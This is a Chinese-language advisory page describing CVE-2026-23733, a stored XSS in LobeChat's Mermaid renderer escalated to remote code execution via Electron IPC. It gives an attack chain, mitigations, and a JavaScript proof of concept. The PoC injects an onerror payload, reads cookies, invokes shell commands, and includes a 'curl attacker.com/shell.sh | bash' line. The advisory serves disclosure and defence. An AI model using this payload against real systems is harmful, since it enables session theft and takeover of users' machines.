IPBUF安全漏洞报告
English
CVE-2026-23733 CVSS 6.4 中危

CVE-2026-23733 LobeChat Mermaid渲染器存储型XSS可升级RCE漏洞

披露日期: 2026-01-18

漏洞信息

漏洞编号
CVE-2026-23733
漏洞类型
存储型XSS / 远程代码执行(RCE)
CVSS评分
6.4 中危
攻击向量
本地 (AV:L)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
LobeChat

相关标签

存储型XSS远程代码执行Mermaid渲染器Electron IPCLobeChatCVE-2026-23733Web安全客户端漏洞

漏洞概述

CVE-2026-23733是LobeChat开源聊天应用中一个严重的安全漏洞。该漏洞存在于Mermaid图表渲染器组件中,攻击者可以通过在聊天消息中注入恶意的Mermaid代码实现存储型跨站脚本攻击(XSS)。由于LobeChat桌面客户端中暴露了electronAPI IPC通信接口,攻击者可以利用此XSS漏洞调用系统API,进一步在受害者计算机上执行任意系统命令,实现完整的远程代码执行(RCE)攻击链。该漏洞影响2.0.0-next.180之前的所有版本,CVSS评分6.4,中危级别。攻击需要本地访问权限和用户交互,但一旦成功可导致严重的系统入侵后果。

技术细节

漏洞根源在于LobeChat的Mermaid artifact渲染器未对用户输入进行充分的HTML转义和内容安全策略(CSP)限制。攻击者构造包含恶意JavaScript代码的Mermaid图表,当其他用户查看该消息时,脚本会在其浏览器上下文中执行。具体利用过程:首先通过发送包含<script>标签或event handler的Mermaid代码(如 flowchart TD; A["<img src=x onerror=alert(1)>\"]),将恶意脚本存储在服务器端。受害者查看消息时,脚本执行获取当前用户的会话上下文。由于Electron客户端中electronAPI的IPC bridge未设置适当的访问控制,攻击者可通过window.electronAPI直接调用系统级API,构造IPC消息执行系统命令。例如:window.electronAPI.send('execute-command', {cmd: 'whoami'})。这种从XSS到RCE的升级利用了Electron应用的安全配置缺陷,绕过了浏览器的同源策略限制。

攻击链分析

STEP 1
步骤1
攻击者通过LobeChat消息接口发送包含恶意代码的Mermaid图表,利用渲染器未过滤HTML的特性注入XSS payload
STEP 2
步骤2
恶意消息被存储在服务器数据库中,当其他用户打开对话时,payload作为页面内容被加载执行
STEP 3
步骤3
JavaScript代码在受害者浏览器上下文中执行,可获取Cookie、会话令牌等敏感信息
STEP 4
步骤4
攻击者利用Electron客户端中暴露的electronAPI IPC接口,通过window.electronAPI.send()发送特权消息
STEP 5
步骤5
IPC handler接收到消息后调用系统级API执行任意系统命令,实现完整的远程代码执行(RCE)
STEP 6
步骤6
攻击者可在受害者机器上下载并执行后门程序、窃取敏感文件或建立持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-23733 PoC - Stored XSS in LobeChat Mermaid Renderer leading to RCE // Target: LobeChat < 2.0.0-next.180 const payload = `flowchart TD A["<img src=x onerror= // Extract session and trigger RCE via electronAPI const session = document.cookie; if (window.electronAPI) { window.electronAPI.send('execute-command', { command: 'calc.exe' // Example: Launch calculator }); } >"] A --> B["RCE Achieved"]`; // Send malicious Mermaid message via LobeChat API async function exploit(targetUrl, sessionToken) { const response = await fetch(`${targetUrl}/api/messages`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${sessionToken}` }, body: JSON.stringify({ type: 'mermaid', content: payload }) }); return response.json(); } // Alternative: Direct command execution via IPC function rceViaIPC(command) { if (window.electronAPI && window.electronAPI.invoke) { window.electronAPI.invoke('shell:execute', { command: command, args: [] }); } } // Usage // exploit('https://lobechat-instance.com', 'user-session-token'); // rceViaIPC('curl http://attacker.com/shell.sh | bash');

影响范围

LobeChat < 2.0.0-next.180

防御指南

临时缓解措施
临时缓解措施:1) 禁用或限制Mermaid图表功能的使用;2) 在Web应用中增加额外的XSS过滤器;3) 对Electron客户端的网络请求进行监控以检测异常IPC调用;4) 提醒用户不要点击来源不明的聊天消息链接;5) 考虑使用沙箱环境隔离渲染进程。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表